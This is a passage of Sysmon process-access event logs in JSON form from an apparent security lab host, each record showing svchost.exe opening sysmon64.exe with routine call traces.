C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1413,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1414,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1415,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1416,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1417,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1418,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1419,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1420,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 